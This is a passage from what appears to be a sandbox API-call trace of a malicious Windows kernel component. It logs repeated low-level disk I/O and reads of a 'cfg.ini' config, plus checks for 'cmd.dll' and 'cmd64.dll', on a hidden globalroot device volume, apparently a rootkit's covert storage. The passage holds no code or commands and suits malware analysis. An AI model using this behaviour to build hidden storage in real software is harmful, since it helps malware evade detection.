FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.550] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0128.550] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.550] KeLeaveCriticalRegion () [0128.550] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.550] KeEnterCriticalRegion () [0128.550] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.550] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.550] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0128.550] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.550] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0128.550] IdePortDispatch () returned 0x103 [0128.550] KeWaitForMutexObject () returned 0x0 [0128.550] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.550] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.550] KeLeaveCriticalRegion () [0128.550] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.550] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.550] KeEnterCriticalRegion () [0128.550] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.550] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880035c0000 [0128.550] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.550] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0128.550] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.550] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0128.550] IdePortDispatch () returned 0x103 [0128.550] KeWaitForMutexObject () returned 0x0 [0128.551] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.551] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.551] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0128.551] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.551] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0128.551] IdePortDispatch () returned 0x103 [0128.551] KeWaitForMutexObject () returned 0x0 [0128.551] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.551] KeLeaveCriticalRegion () [0128.551] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.552] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.552] KeEnterCriticalRegion () [0128.552] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.552] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0128.552] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.552] KeLeaveCriticalRegion () [0128.552] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.552] KeEnterCriticalRegion () [0128.552] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.552] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0128.552] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80036498e0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0128.552] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.552] KeLeaveCriticalRegion () [0128.552] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.552] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.552] KeEnterCriticalRegion () [0128.552] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.552] ExFreePoolWithTag (P=0xfffffa8003bfe250, Tag=0x0) [0128.552] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.552] KeLeaveCriticalRegion () [0128.552] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.552] ReleaseMutex (hMutex=0xf0) returned 1 [0128.552] Sleep (dwMilliseconds=0x124f80) [0128.566] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0128.566] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0128.566] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.566] KeEnterCriticalRegion () [0128.566] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.566] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.566] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0128.566] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.566] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0128.566] IdePortDispatch () returned 0x103 [0128.566] KeWaitForMutexObject () returned 0x0 [0128.566] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.566] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.566] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.567] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0128.567] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0128.567] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bff090 [0128.567] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.567] KeLeaveCriticalRegion () [0128.567] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.567] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.567] KeEnterCriticalRegion () [0128.567] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.567] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0128.567] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.567] KeLeaveCriticalRegion () [0128.567] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.567] KeEnterCriticalRegion () [0128.567] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.567] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.567] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0128.567] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.567] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0128.567] IdePortDispatch () returned 0x103 [0128.567] KeWaitForMutexObject () returned 0x0 [0128.568] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.568] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.568] KeLeaveCriticalRegion () [0128.568] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.568] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.568] KeEnterCriticalRegion () [0128.568] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.568] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880035c9000 [0128.568] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.568] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0128.568] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.568] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0128.568] IdePortDispatch () returned 0x103 [0128.568] KeWaitForMutexObject () returned 0x0 [0128.568] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.568] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.568] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0128.568] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.568] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0128.568] IdePortDispatch () returned 0x103 [0128.568] KeWaitForMutexObject () returned 0x0 [0128.568] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.568] KeLeaveCriticalRegion () [0128.568] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.569] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.569] KeEnterCriticalRegion () [0128.569] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.569] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0128.569] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.569] KeLeaveCriticalRegion () [0128.569] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.569] KeEnterCriticalRegion () [0128.569] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.569] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0128.569] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003649790, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0128.569] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.569] KeLeaveCriticalRegion () [0128.569] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.569] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.569] KeEnterCriticalRegion () [0128.569] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.569] ExFreePoolWithTag (P=0xfffffa8003bff090, Tag=0x0) [0128.569] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.569] KeLeaveCriticalRegion () [0128.569] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.569] ReleaseMutex (hMutex=0xf0) returned 1 [0128.569] Sleep (dwMilliseconds=0x124f80) [0128.586] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0128.586] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0128.586] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.586] KeEnterCriticalRegion () [0128.586] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.586] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.586] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0128.586] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.586] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0128.586] IdePortDispatch () returned 0x103 [0128.586] KeWaitForMutexObject () returned 0x0 [0128.586] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.586] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.586] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.586] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0128.586] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0128.586] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003c00fb0 [0128.586] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.586] KeLeaveCriticalRegion () [0128.587] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.587] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.587] KeEnterCriticalRegion () [0128.587] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.587] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0128.587] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.587] KeLeaveCriticalRegion () [0128.587] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.587] KeEnterCriticalRegion () [0128.587] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.587] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.587] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0128.587] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.587] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0128.587] IdePortDispatch () returned 0x103 [0128.587] KeWaitForMutexObject () returned 0x0 [0128.587] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.587] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.587] KeLeaveCriticalRegion () [0128.587] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.587] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.587] KeEnterCriticalRegion () [0128.587] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.587] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880035ce000 [0128.587] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.587] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0128.587] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.587] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0128.587] IdePortDispatch () returned 0x103 [0128.587] KeWaitForMutexObject () returned 0x0 [0128.588] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.588] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.588] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0128.588] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.588] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0128.588] IdePortDispatch () returned 0x103 [0128.588] KeWaitForMutexObject () returned 0x0 [0128.588] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.588] KeLeaveCriticalRegion () [0128.588] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.588] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.588] KeEnterCriticalRegion () [0128.588] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.588] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0128.588] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.589] KeLeaveCriticalRegion () [0128.589] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.589] KeEnterCriticalRegion () [0128.589] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.589] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0128.589] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003c00620, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0128.589] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.589] KeLeaveCriticalRegion () [0128.589] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.589] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.589] KeEnterCriticalRegion () [0128.589] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.589] ExFreePoolWithTag (P=0xfffffa8003c00fb0, Tag=0x0) [0128.589] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.589] KeLeaveCriticalRegion () [0128.589] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.589] ReleaseMutex (hMutex=0xf0) returned 1 [0128.589] Sleep (dwMilliseconds=0x124f80) [0128.603] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0128.603] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0128.603] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.603] KeEnterCriticalRegion () [0128.603] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.603] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.603] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0128.603] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.603] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0128.603] IdePortDispatch () returned 0x103 [0128.603] KeWaitForMutexObject () returned 0x0 [0128.603] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.603] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.603] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.603] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0128.603] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0128.603] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa800365e580 [0128.603] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.603] KeLeaveCriticalRegion () [0128.603] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.603] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.603] KeEnterCriticalRegion () [0128.603] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.603] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0128.603] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.603] KeLeaveCriticalRegion () [0128.603] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.603] KeEnterCriticalRegion () [0128.603] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.603] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.603] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0128.604] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.604] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0128.604] IdePortDispatch () returned 0x103 [0128.604] KeWaitForMutexObject () returned 0x0 [0128.604] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.604] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.604] KeLeaveCriticalRegion () [0128.604] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.604] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.604] KeEnterCriticalRegion () [0128.604] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.604] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880035d3000 [0128.604] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.604] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0128.604] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.604] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0128.604] IdePortDispatch () returned 0x103 [0128.604] KeWaitForMutexObject () returned 0x0 [0128.604] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.604] IoAllocateIrp 